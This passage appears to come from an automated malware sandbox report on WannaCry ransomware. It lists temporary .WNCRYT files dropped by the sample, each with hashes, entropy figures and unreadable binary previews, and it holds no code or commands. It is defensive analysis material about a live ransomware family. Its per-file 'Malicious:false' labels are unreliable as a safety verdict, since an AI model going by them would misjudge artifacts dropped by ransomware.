                                                                                                      SHA-256:113CC15B615DC56AB3E8195571B3F0F3AC04E49C84375AEC9B60EAF88EF9A2C1
                                                                                                      SHA-512:B475D46F269F5C9ECF3F276788C381A225208D30BAF73A7BEA28300FAB7C0F71C98520EC16724DBD147A7ECC125F1974DABF78679BF41A6822559735A5E8FF6A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:....o..#o..a.n..8BoBF.`..K?^(.PQM...y:.F8.!...o..yS{......,.0.X0.)j'v9.~X...^.(._.......L...i...>.S.1..q..m..y.%...4....n..>|...L..,.W..P..:+....Z.F>f..O..~.vs.....>..OB..P.Q..b.l.lt.8....TL....HhM...n...3H;.Q...y.'1.#.?.6........C...5.#z..CDa.j.y0.T..W...YSB.o....&V *T.}.t;...UM.T.E:d....K@..6...B..BR....7Zm..WlP.Y....(..0".L...S.a...2.V..5..y..U.>.c.o...8.2..)....Q..t1.....e.L..Q.oB.%.l.,.C... ..|x...A.|./y10.;./..............8......k.JXR.6...m.jTY 7.s...U@..a.).\.Th...f.......wE.=1....EI34...89.y.p.%M.j.....M...@......JZo.......!%Xb..."...!...N...1.c...JKHH.4F...cP......*y..a...x..z...iQ@..T....J%;.....Ip....`..'AP..Q8Y...?.+..^.5U6..U8.[X.B..5W....u.ro....ho>..*S.&.^.>...."...g.|.M#u..s.}.i..6.G[..ax..Mq....c.j....#/hY.......H..].z....7...R....>.5G...5M.K.D._..O_..:.(N)..6<~..Mf)J9..:-....B...^Mf.........'....U...K.-./Z..u8c..n"m.../.(.-m.L.1...j.E:..`...5@.uK.psA.8D:.AG7.....*......yb.|.lORL.k.."./........].x.+.Bw]P.C..^LDf..<..Bq..M..

                                                                                                      C:\Users\user\AppData\Local\Temp\25.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.821136287893064
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:+xRQ6HLezdDa1KkWUJgDZticB5/RNSI2cAa9fpiY3aAzk0:+xR9rqJKKfUSNtLPSIjAa9xiYKAg0
                                                                                                      MD5:69D5C8D2C8BB18D5AFDE78E4D3F6CD82
                                                                                                      SHA1:364C15E011BA012F85112CF01EC4FCB043011987
                                                                                                      SHA-256:4F506AFEAEC59B1F6C53566475D75E67CC32A4E29B872F1E7823C77F0842AB16
                                                                                                      SHA-512:697FBA1590918BC83CF63049A30793B66C6F1E56E20BCE7F1807A22A78AFABD35F19B42EC5C080D808E9CDA776303FEBCBC9DA63B3232DAFA685C2DF05F7450E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:<..R?Tp...^...p.z....e.-"....S=)e.|Sg..../yr...$-..B.P_M6-.w..>.5s...p..M..|.*.H.....L%...k?...n.f.X..Zw0$*.B.V..k........m. ..\.K..a.e.......N$....o.N....{T....|!......y...G..|.k.'..u1f^P.u.7._..BU..Y.:.....[}.....c[.4X..]$..9|.v..z.y.v.x.e..P..e..Ai..cvnc..4..7./....*..^...d......T...#,.!DSh.m.....h..3./M...l&/...c...7G.f.@.|WIn~....Pf..M....4.o..|..e...%.4.^.6....0..&.j..[..J...(?....H....-.k..._D.3..Y.L!...;...[.c.}:..G6n...1.....c..`.....qz...o....+.t...E...B.uJ.8.G."^..>..Fx.Sf6...%.,..mC.v.3/N....}"J.oJVXV].bs.(C0tn.U..d.TG...3..P..$.i.,.y.:..z4.}.A-.+.G.Vx4..p..:....k..../(9...q..$0N..<@+R.a.mC..W|.....K...:...$..'\........b.s.X.n J.}..e-W.f..O.u.?.....b(.=..)..O.....t..........I1...K_-....Y.,4...FxRFE;...8j...=....uXh!....T.%^..:...lmk12...$?.:.{^..c.....T.......N.....}F...G.U.@..G....h.9..w..?.....&..`.T.T..N&.^...).....*...Dj>......_)...#..CbrQ}..P.......<W.......".>.Z..n...w.."......d.;...WR.+D..O=.\.\..T.^.iz.tT...U..

                                                                                                      C:\Users\user\AppData\Local\Temp\26.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.809793064595606
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EN3bvQA2CDx5uMtPnMwt/0ns6y87iArk8isgbRp7auG:ENL52+/PLt/6s6P7idZ1G
                                                                                                      MD5:790B1BC531A353F12D9FF204F53B7515
                                                                                                      SHA1:733CD40BCA59F91FA19860F5174A6AD07A071488
                                                                                                      SHA-256:79D12CCCEC0F55C486056C0A41F00C2A7BC81F3B76A918E894CB9AFD6F643660
                                                                                                      SHA-512:93887D08BF49280260F007FF2C949E5BCBB5B93814D0C34C46AA4CC20287D3DC4BF5D91EC525FFE3E952997DFE8BEEBCA765DE56BD67E35DEA0C6905B56EEF88
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.;....A;'Yob..//..g.,....Bm..+N.$....l.?..X..x.p.l.#......A0.b."BX.\4l.Lq.~Y...cR..._.<...kijX,..n....=a..|...S.b...c>..aD .G..U|_X..#..|.._`VJ......29O@..h..w....e.h.i..{....z.F>:.v6..|Eg..H.A<f3;..|d1..M.j....\.......{+..$..d.E(..Z.?OE.*..:.%..*...~.J.....P~..J.TW|....x0..p..9....S...+}.X.c.{.0.69..o..Z....i..R.....j'.[G0`.Hk.5.B;.~..{...9}g.3.=...C...n...._.[...".C).hS.a.)...2...zm...'.'...V.{..x...6..bfnA8.$y.....\..d....gC.$'.?..^. k.W...(.....idew*B.....=..wqQ0.JW...6%k..:)..}@..wc......(.)e..Y.o....#w..t[.b....j..ZK........iI*./....u...%\p.Ob.F.$..Z.o....K.>t...A.'.p...$l.{JF^..a...a..H-..h.@*.L.P..2h(ir..<.'..Y.....%.......5.\agPA..Tg._...?X .y....{[.t.mVg.....k.U...0..$.F@!.Sc.T3~.n.\d<.9.{_....o.u|....a.I%.._$o...d......x....]`{.\8uF....t6...K...E...?.....8...3..E....Z..".oyi.M.@f.AO...$.LZUy.h...A...H.I..y?8%7.}A.m.e.L...p&.......m.....IH..t...P..B.T..bx.....>.~.6#(...j..W....W.&.}_.R.f.7[.'... .).^...Q.|Ol..$./.N..w.;.k.

                                                                                                      C:\Users\user\AppData\Local\Temp\27.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825934043628023
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:5SjMXunBIIvswg+fPFR7vYIo65SfVyiCW8Ggjascb5oQGYE+mWaB+:YjowPPFR7vPSIbG7sxYEUaM
                                                                                                      MD5:615DAFC1B1F6D6FAC2DE89DA26CD75B6
                                                                                                      SHA1:184F2E778EA75904CDDA216610BAF2247D4B2C73
                                                                                                      SHA-256:B9F4177936CEF1EB1B3D5982CFC5B8B05BEF28AB17C646F00A3F696D18425B1C
                                                                                                      SHA-512:619FE7DA86D1C672385895D3906C3B831477CB12D07DA42A4770DA78E1AC7A5A3C203B7AAA76C08B9B52822E4B315355969FF6BF1D2CEE1683FFC8FA88F6A716
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..2.(.1.D.0..c.l...~....&.\.......#s......U~......K....E'N.^.=.s......0....,.......pE|..f.|.>.W.b.iW.KGX.e..[..Mwi.`.kC.....1......[?p..#2h.`5..Z;..|.Bf.)....F.].!..B..........lm..}Cl...(.$Sxo$W.T..HV]4.Zk.^.-...9........z...Gi....A.V.`..FI.T_(.........".2.....2_.... QL[b5.b..s...?4.....q.\#.J.]...?.p...dL..cm...PQ..C.z.?.X.w.8.y....A{\J..!..Mw..K......Ct.....C._Q.2Y..B..*.n.R....Lz.V........&....A.g......O....,,......z!.#.}......<....,2..*..YN.....-...J`'.......?V...k.s...0.UB...G..&....FDh.O....9JD:..3.6t~[`..1....K8..C3...6 n...B......q..$&."....]...B?w...I... ....|..<0..k.Gp.?..."...H......*..!*.n....`.{8[y..HV..oN....1.3......-....;.S.~.|..y..M..f_..`...2..a=.M.....5.N...0.#?.......(...r.h........C:......t.&.......m.}.;W ....].._..m.@2&..RE..1.....*...UEr.A{.H..~.....!.N,.6..Z.G..9..8-.S.`?.K...|gS..k'.>jo.Y..5.n.&,..c..n.SJ../...<.[..1.)....]...`8>g....G..K..|8.....B.........@.7.......k..30.... .T.o~.Yf.D".+.vb..@;.jbK.qT...f.

                                                                                                      C:\Users\user\AppData\Local\Temp\28.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8065289414205585
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:2jRPNH245d0LsPY/T3hPtkl+wEKSESGnEg6ALBc:KRI4w2kT3hKlchZX
                                                                                                      MD5:7F6D40BFFFF5045D6339E4E64506C7D7
                                                                                                      SHA1:4ED6DF140FBCBCFAF78EC50027A635B7B61CB11B
                                                                                                      SHA-256:7F99C9BE477630DB61D95809EAAD33E83D94603095C1914173DB5964B0BE4014
                                                                                                      SHA-512:52BB1C344076A2070A4EA81442CB3EFCDA0ACF5E15A3B95A75AA8537B684BCC688A9EB15AF91AF9E02891FE2C6002EEE3EC8A69F4B74505853DB907D42ACF013
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:N.......#s...\.......j8.. .....WA./XP>P..*..B.X.. .-R...d...P./C.....{fr.K.4..9.v.4.i\.}.G2.>ng.A....,.A...n.n.~....`.....R.o3mP.."..../E*:CP....I..........7W.+.....xw.a...\..N!..&D..a...x......e...q`.....NU...:|u7].k+xDv.\Vh..O(:...;..(.*..LP.................i_.0.}..f..t......kX\.].h?5wb..`~v.*.p..Akyl..H...-o(...A.x.B.4x..nI,....y.."..Cs="...=.4m...@FcJ.0...n3.?J....E.....sC..I.#...?..Z..[.*..w<z%........bp9x.:..X..\..9.I.;n.........?..k.>.E.....{0.q3-.fO....V.=....n...G.x.......;S...'P..D..5.~....0...;...;...._K......_I.W.w..s.7......M...Q.d:......^..0X.A_..'..SL..\$.=6c..BxSPq..;.N3)......O..Yd...........q...8.AU..x|3S.f..(.]..F..%.k....<.RQ...!w'.f 6e..56WzB.Xf...f.......$.Xc1..\KAC.|.,......y.p.....[..r..0..j.....3..B+....8..'-..`.pXe....[../&,...*.s.....x='.<... aa.-.#e.CT%~..K.)t?.e.`..na..0.......#N-........;.#m.Y._....J.H......G.0...8RB...;H.....Q.C...4...X..<M....!..-.."...k#.<."...'!.++VIba...h......pQ3Y..2.2a

                                                                                                      C:\Users\user\AppData\Local\Temp\29.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.790831405184282
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZZFbmQhbeJ11WlHdi9fxEX7YeWx9PI15yX7uz0U0baP+q+l0:LBP9y1YlgtqLDW7PA4CjP+z0
                                                                                                      MD5:68474C145B2CBB23CBB37053F4AB6362
                                                                                                      SHA1:ED22DC6F026C5C07CBDB1A876D987B26A47E6996
                                                                                                      SHA-256:FC0CC70F479C4288669DB12D70AC13EF42AEB33615A2AE08546029821856D396
                                                                                                      SHA-512:9ED5C93AC0CB7C5117893EB833F6E1742CB187D4B8F5257A59201BA23019C3A905C4602339D777C940311FB64332E02F538D59306B25D65D3A3C797C9DDC178C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.Y.!?....;6....iCR..J6...ju....n.......cI.Q......W.7..'.....j...)..4v........H.l.."CR...8..8\.y......Bu.%.t.W..m#..BH.....\......Y.g.I.t.5.J.#......*...a.l...vT...x.@Eg...C...~.u.n...S`I..T......s4.m...D.....;.)....m....|.;.....A.]F}.}c..=@9...{.H.V..a....o......W..F......?..@./.X.Js{..Q{'..s.J'.p..Q....@.h..4.i\M.:.......([b..5..j"O.....,.Z.Y....*[.*.jm...<u~;.. d..N.)......j^.B.MA+6...%FD....tMjc.0i..]C...c.{ON.KE.F..8Vi.9&j8....n_P...4.......M.E.!Wq...P..T.C..v..~..q...xI)xu.%.,...../E.e.j.#1......3{.....r?.......rqw..s.2.d...N...P'........@{...D.?..WKGECl"q.)..qk.4\.T.....]T:...w#...zD.....{.j........~.T.G......W..[6.{....")#.........T...#yQ.s.j... ..3...5v w...6u}....4........*K..).U@..d....c....21v.\..`c{f.Y9.F...j.....aV\Lk_..?w"rAD....r..q......PY5~.X......WK..c<v0...B.\....B..Q.....u..qS......6..d.k.jGl....0b..2..#.#)....w........?.K.".H.o~0..i......@.......).......2...rNdU..}..n'.....(d.f.&>.J)[;_M..s./.(-.E.....5...A.8

                                                                                                      C:\Users\user\AppData\Local\Temp\3.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8164717016915635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3C+rlPpmFNhT8b7PlvsAPzteJMuea67iNJNA0wllun:Sm+hsr+APZeJM3ViJi7Lo
                                                                                                      MD5:B339520FF71ED51A68E2E04CF2EE710E
                                                                                                      SHA1:D8D50B813997055C90CE096DCE58C6441B3D1F6B
                                                                                                      SHA-256:A342FB4B2955CDF6E492D88423CB756D012D148DCF4C7A632485C5B660212D22
                                                                                                      SHA-512:319B64E445F47F594D1EA1C1C09A70EB629A3B6B0A6EAD840CBA25728FBF0C987372BFA74CC1B06077BF7A6E765151A4A499FDAA8916CD918569DE58026B8269
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.9...H.1T...R.$...J.Y.b.0$....C..a.jw`;.V.v......c.....~.^.9J....9.z*.YZS-"...!....P..j0....e.R....g;.'..(.. .8:.(.i.h..L.n._.Z..1LXbB._.C1z8..0..\m{..lg...^#....<.:9.l.A,...d......),4.<Zxv...a..F.........'`.}...|.d*.f7....m.*M................"...`@..H.U.a......._.;..hv.m.)..|..).r.#jG'....P...at[......vB......9.../..<....G.&..$Hr<).'..<.r.jV.:..mKp...c..]..WU...w..x5..Q.....(..<.E.Q}^.r..Kx......@..a..8.982c8.(.....qc;.P7Me.6xb(....XT.V..Z........?.I.p.=..&..aj(O.Q..c..[...D.I.......2.B.......Z8r+.~.....)Sal.9pvgG......Wv,=..?m.......Xbv.+..^un".;..Hc...:.#-...J.[../....5.YP..WX..l.....(....|.3.!..BS..H.l.....s.\n/.j........._5....V....f....X..>tx;.'.....XX...5..........hDT...,.Y1Cq..D2^.?(......%....~.<Y)[.h.....i.E..F^...........pq&P...`#%#.../........;.Y...I4..3//C%.}Q.g.u..3v.GV.f.qZO.z..7......@*.....b.......0........."..h...L......2Ue....+...&.v.Y..x...n..g.V....V"e@99qK..[..Wk.A.4.}.1x^Q=.]wRL6..sc'.&.,'_R....7.53M/..,.E..y

                                                                                                      C:\Users\user\AppData\Local\Temp\30.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.843173277452896
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cbLanNktdpGj0HcNn05mKrETnXVL3YDOMFKmvd:qmnNktWN05mKrSXVL3YDPvd
                                                                                                      MD5:1C676CE2E9BFCBFB9E8FE2DADF4BDE62
                                                                                                      SHA1:290EB17091DBD6C64813BF5297B2BD6E88F977B6
                                                                                                      SHA-256:722E03D38812B6FA042F6A264DD047BD3969790098B2CA0711A47889C956C080
                                                                                                      SHA-512:E825136B04340BFDB22E80B7D0FF306820243B01DA0B71E89BFBA05CDB8713FC71CD1817FD5F8341FEBAC2978569FB9B8B235FFC613C1AE568CB05D542C43789
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...M.0.Or.....9..n{.......|. .}....] ...O.Yb......>..G9..\......N.....-.z<.........;..\....x.5y..@....(<..!..bl....Q..'fFn.X....7.U....UW.zH..ru.:..X..edH.9....`v;...........%.S.....N.vJPa.P.jvg.....}...9=..u.5.\.7h.I.X.'.W.B.*...jT.5....s...y_..........pb...(uC.C.$...F....?p..n.s.a.{.0..........C5.?d@s...2@...EVl.J3.!.. ..f.jD...f.........i.i.0........4.E........)........ZO.Sx.k6....m..]W.R....x..y.=.Z........:pRR..)..s...(....d.....I...S..4B..D.KN-T.....q.....k.@&.:..1..0..i...U.@..W:.. .Zn.X...}..6.9.>.'U...J...K|..p...........-k..T%Y..R.......N..s(.=...E.4...._G....\..HP..1..z.p.$\..E..G.2....Ku.hz....p........q...\..F.R..@..A..E...z:.h...b..7..`.4A....S.ZgDocG...v...f..g..U.....G~..G[[..2.."p;oK....hL....b.?c...j^..R........=./.R..ixd.#...HB.U......`.r...T..l...{.=....Q......`.I.....k.....'28....@IB..'h..7.v.4..'...F1.x..?........."B.....C.%.=.a.q.a9..D...mX.....i.|{.E..../........NWI...$......245$..7..ta.v?c.4r......F2..~?.

                                                                                                      C:\Users\user\AppData\Local\Temp\31.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.811379819238261
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:YUQRbB7PeAc6w6XtZnmw1toqxP/gQhSVQxkWvFn/M:YU2tltpx/gQYVQE
                                                                                                      MD5:FDE9720D8F5DFCE3EA923BE80A5A2124
                                                                                                      SHA1:E751AD481BF11CB48ECF97B04C4EC643E9941FB5
                                                                                                      SHA-256:446FA0A9C0FD0E2900F9A02F587DB462DDCFC68F66633573EFFD2B02D8BFB620
                                                                                                      SHA-512:D332692E75D4B125E1660B55FE9B837318C1E5C75C96F1E76250344FBE8E617270C8F3B738DB7E64CE8CA9882AE752B5801BF3202E628A75190EC8DBF05F89C7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:c.K...........2.sf.N}....~.....9.4."...v^=G...,.Kq1.....*.qE.....f9.l.*@............x..Jdj...@.F..o...$..?.E.C..Kk............+.~3...~bF....\....s..[}^].oG....(....Q..f(...eo.....8.I.'B.G#.......~.+..x..K.Z..s...i.H....s(...E)GiqFJ......'.Gz./..+\.'....l./..^.......3..`y3...M.2.-..../.....p.;.7,.}/7.s`oI PN.S&.C.=.JD.q.^...zk..O....LRt..*_.B..F4.:....;hA..Y.<)jx.-.&.Zk.G...v.N_....`.&.......\..6.H).e.X...%u:."#..q.t..&..K.8..S.i..g......^G`..QQI.G.E0.b;......|.bfw..z..[..J.D...........&..q.x@....l;t.`.,.U.>..^%.j.).f...a...s*..N9.........a../.0.3.....O.....y@9c.....83.J@&..S..#.;..1..E.?O.....(..c}..dH..A.+.......S.?..,u.V.A7N.-...!..$.L...lm.d..J80n.n..zhq.......,......"./&#..y.._...I'<0 P....X.x.9.....{..9.;.....W.*Qks....G.|...........3Pp..!\%....%..TZ..k...S"(.l...N.}A.....uh-...4.:v.i.K.B.'g..C.....H..'.....yC?....'I.k.....`..`.~..~.Z..|...;........N.#'.....40....Fq.1.........M..N.,.W..+..Z........l.*....p=.ck..fkR.!.1

                                                                                                      C:\Users\user\AppData\Local\Temp\32.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813904112987394
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:o1+X6dusC9/x67aHj7RlRaqMJmknmPVw9Zhu3LsAkkrKkfM3n:ogMusqpH/RlR8mdVQrwIA3T+
                                                                                                      MD5:A299F6F68A98B193DA040065D0E10B11
                                                                                                      SHA1:821358A63BCC38A494443F545EDB8BDEEE3AA5F2
                                                                                                      SHA-256:CA79DFE3D37547F84602200D76BD54E0DE24AF0C992CBEB40487BDEA77EF5187
                                                                                                      SHA-512:A631375097ABFA9FFBB562EA190298A191C18BA38C94D7715B7D0D209509842C34FF7617D39284A2E2C944278271E0E82E3FBD5E8D3C7BD9B31CFF34788A0BDE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:. ..m.).......Z....9...n...'@.R....U....g.4vP....l..2...H!8_.N.zIUf...HYy.J..".q..Ea(.)*.......7)....6.:.`../m.......zS"B..D...u...r.{...i...9R.e..[..........I_....ZH..5m..SL..-|or.x.......oZ....zo.Y..y..NUC....xn...f...D.q."..4..H6...W.V...z..).....k...8y.`aB..9..f#.G.W)\.c...Q.)x....v....5<..q.'.f...p.+.pd.y(.u`...]H.....]y.q...+.X./.....+..+6.$E....%.B..>...U..,p.[....O-..t...[.............1._.=J2.....`.....o.....7.......Y.b@.L...w....*};I.......I.....N..;.EtuM.L.B....8).ki..... NZ..iD......>.V.(."../r5.................D6O.....R./....pB....P.u.=zF.K..4...U..V.V/?I.r~.4...R..Y^..ROc.v..PM9...&.@3{.......b._.u(E..38...O.&...>Vx....n.x.....H.&K.zO...[..:F4....+\.....H.3....P.$....r.JS.._.g....z7G.#.p. ....S..g..e.!nZ...).1..:jD7..&^-..XV......24..l.;....N.X\w....wF% ....~H.....(......@#.A..[..f.).._T`_0.-.....=..a.....1.:D......-\*.l..w./......3..G!>].'..y.dK.....P./r......O..........u.Z...%.bX.`.Y..[..E.q]..;...wx!E.,^Xl.g..c.l.d..e.k.

                                                                                                      C:\Users\user\AppData\Local\Temp\33.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.818920841403511
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:jCc4RaA3s9GaW/ukACBa23YSOWcD4Vfht6SRqJy19D:ehgA3yW/ACBPYSnZRQy1B
                                                                                                      MD5:ADD1828A3157B125150614EDD6C1824C
                                                                                                      SHA1:AFB9B1107A8E8EEE8B3812DF35BA9C30E78F0B97
                                                                                                      SHA-256:B69C8F4707B0883DBA3DCB515A281DC9A57D0F77985551C1042F079360D31B52
                                                                                                      SHA-512:312AB8B0B9E02A0107A89B591D4520FB21B0DFEDB40723B8AB9E26C4EAA1D9C395AD3D52D29257A2590F9A0E97FBDC908EEFCA52665C9DAF177A0840C52ACCEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:......!..2.KN..>....."..m..L.HO.l.&..'......#....F..@p...~,.Z....gWV..........3...YL2..D..".H4U...|p.ps1.g..~[2..1......2.J..H.-....Ftr.I.+-..V...3.K.3*^.6.r.B....W..<[.(.......f...M....Q.d-...Cv.....c%n$oA../.0b......*...]<......;..h.Z:r.....B.r...O.#..X.^..uT......xY..n.'J.v....M[...x.[..hR1...p.m.G...X....Cb...8.H...=B..M.u.P.\..?GQ....\..&.x!.f&...2.,m K../....y.(.B...Q.s...o...%.."....6....!....}.Iu.....p.^\s..;)..Vimm.......g...I.7...t.O...S.~.z..Vz.......O....t7.<..%...\(......\.......0.^D]Z.*H".5Y.<.<........I.........7.S].B%y..E.....N\.eK...4..M..._..8.b....-k,`. .....F..~$t.v!.C..[.<.#.Hz..yra.L....>{.vZnv.......|h.M.F`X=..Fs.d:.3...B=...o{...1#.A.R.&..ix.;..g.,V....Z....^O9.r..Q....=.......=..8..Zg.2...@.*ba...."...`..H..I.{;..c....o&..$.....H/...-..A.O.u,0...!..n._|.....A..P.b....).$......m..Mn.CO.Oy>L)t.......%.*.,.g.....e|...Y.l..]Bj%q.X!.3`.|....7Wh~.tq..Af..NaH....{.S'...N....>)..E.+..s.U!...:~(....~...`...."..

                                                                                                      C:\Users\user\AppData\Local\Temp\34.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.794307564465799
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:hNAK+bC8ps83WL/b/5pA5JY+ujTtGokmQk0jarmNGaEIFDN2rl:hNf+hUL/b/45OjTt27kma4EwNE
                                                                                                      MD5:70D91E2481CD8A2CA076F399F57477C4
                                                                                                      SHA1:266D38AED1A8908BFD996C43A7C07558FAE9F2FA
                                                                                                      SHA-256:ABF451CE02697A1F2B9DAEC02809A969926F7E634564EBE6B9C72397CA4C735B
                                                                                                      SHA-512:BB91FDFC407C4DDCC534A9BA384D86582C39F8365568377A6AFC32CD59C569CBAB9ACBB93CFC13A2CDA8412A1703C23407B2333F3C8A1892F8AF96998B6DD938
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...l.$.*6)..H.A._.'....GV....i..QqJ(.J....,.`....F.d.]h..W.}{......*p....`..{^....p.@n...C..%..;&<".....t. 9h.d.E.k.......N...up..6...\..X*.C..~..F...V.j.4dz..=^.r..A.Hl....3#!H.K.o.......yB..E0.G...A..X6.60.....X.0.}.'&.u.#L$.UN..M..-.k.....)..3W..._..p.p*B...#..^p..9+.-5....Z]c.Gw\.O.k..8iQ.......V..9..mc..w.K~=M...P}....H..p..U...7...{.....3.L.D.7...zYKW..&.O5......$..V..7"G6..jh(.}...:`........]........k.I.8....O..^<..|......#..S..co......'..<.q.\+....Fd;...>.d..hfb.X......T.9.~. +..vB9O...........r......."&cFb#U.......R.lj.X..(]G.1....y...k...>.W.)l7.R.wy{F..)...|..4f)..t..>...Uc..M....7......!.z7....k..w~.....Wd..Fz.........v...38*.....L..-.b......Zo........,..,....'^^..q.jB8tu..|..y..Ol/...l..CE....;:.Q8..w.bx..|..Np..%...8.<.:.O...........g4[........z{".fm.#..#......k..'.a%y....D...&l....^O.ylH0L3.`_.W..r..9V....e....%.{<W~..?..|`..m)v.....i.y.d..-...T.*~..x..5s.-F......L.:/......... ..`....Q.H...BU.l.b.t.X.....[.#i%....S'G:..t

                                                                                                      C:\Users\user\AppData\Local\Temp\35.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808950401739624
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:SCxiN0RVVA4OE02Et/Zxh8lRdAhDJKKnSXUd2Ve:A8VA4Ot2Ethx4+IKnzr
                                                                                                      MD5:8E3EE4CF1222C2F2E4BE248B12F6BC63
                                                                                                      SHA1:8A49A9F00361C499319E782EB1D7B9EA4396FD83
                                                                                                      SHA-256:FA4D0899BA8B5473FCC2A29A3D3826B6948DE3C8CE4A8F66CDC505E2FC3B98D6
                                                                                                      SHA-512:B5F93FCDAC991510E6011952F19BC9FA0ACAA6B86956B9BAC557B5A5DC14E937B38590E56C492E88E42C8E8EB66AF0AA6DBC72FD5446989B7EB94576DBE535A4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.&M.3.@h`......r...:.iu....T....n...)X.y.k}...(...@..P.`v..5..)..!.C0mf.2|T..z.{,W.B..'.Z$..CGkr.!..k.=..e......u.xP..@...4A)X..$3....#]..Pc.....`.Q.....G.e.Nd]..FW..R.m~.z%....RR.T..Ge.....(O:. T....~...^..%.Y.[.4....}%.~[O.zWQ..~..Y...dW>c=R@ HYq7<..!p.fX.4.&...........%..b......(.=O....[..P..0..,...a..H.KY...{..ws.}Yd..].x!.x..H.{.vU.~....l..,.6.9.d..`......CW.oi.K....R..=0......mq.L..{...[...2.....k.G..@.;.P.vD..El.H2.........t.V.._a05xw..P..W.....d...Wc.... &~..&.............{X..y.L...%.V%.(....M.B[S..P..f.....P....g.AW1.^m.c0....y.%..C.F.jN@..6d'..g.....!'.......K.>z.v........o...2.&.^qh;m$......J,5.....@..sJ`2rF."......]./..3m...Yi.......Mn..-.i..?5(.0-SE..~.:...9.m.....8q.....m.N...1..:&6.Tr.J..f.t...n{..OR..8........<...N...t.JE...`UOg;..........#jl..i...4.^..'..:z....6. ..\!....d.q..S*.Y.F...{..n...5:..6.q|#|........o....;%.s.....G...^Fz.....+0x..f.........v.vCqn.U.,{#.o.'.C...,........*......b.\v.i.;P..... ..:.j.^.*\x.........1V.<Z..5...

                                                                                                      C:\Users\user\AppData\Local\Temp\36.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.827740483855485
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:LYdgHO6YkMWD/bjmY8ilrd59OlIAZkevhaM55+wZZG6:m6YkvD/bdtlrlAZkeJaMCwZZG6
                                                                                                      MD5:51BEE655DC3857CF16BD8121E51EB30C
                                                                                                      SHA1:C1808691DB79633DF1913C6FC5390BAA7DE917BB
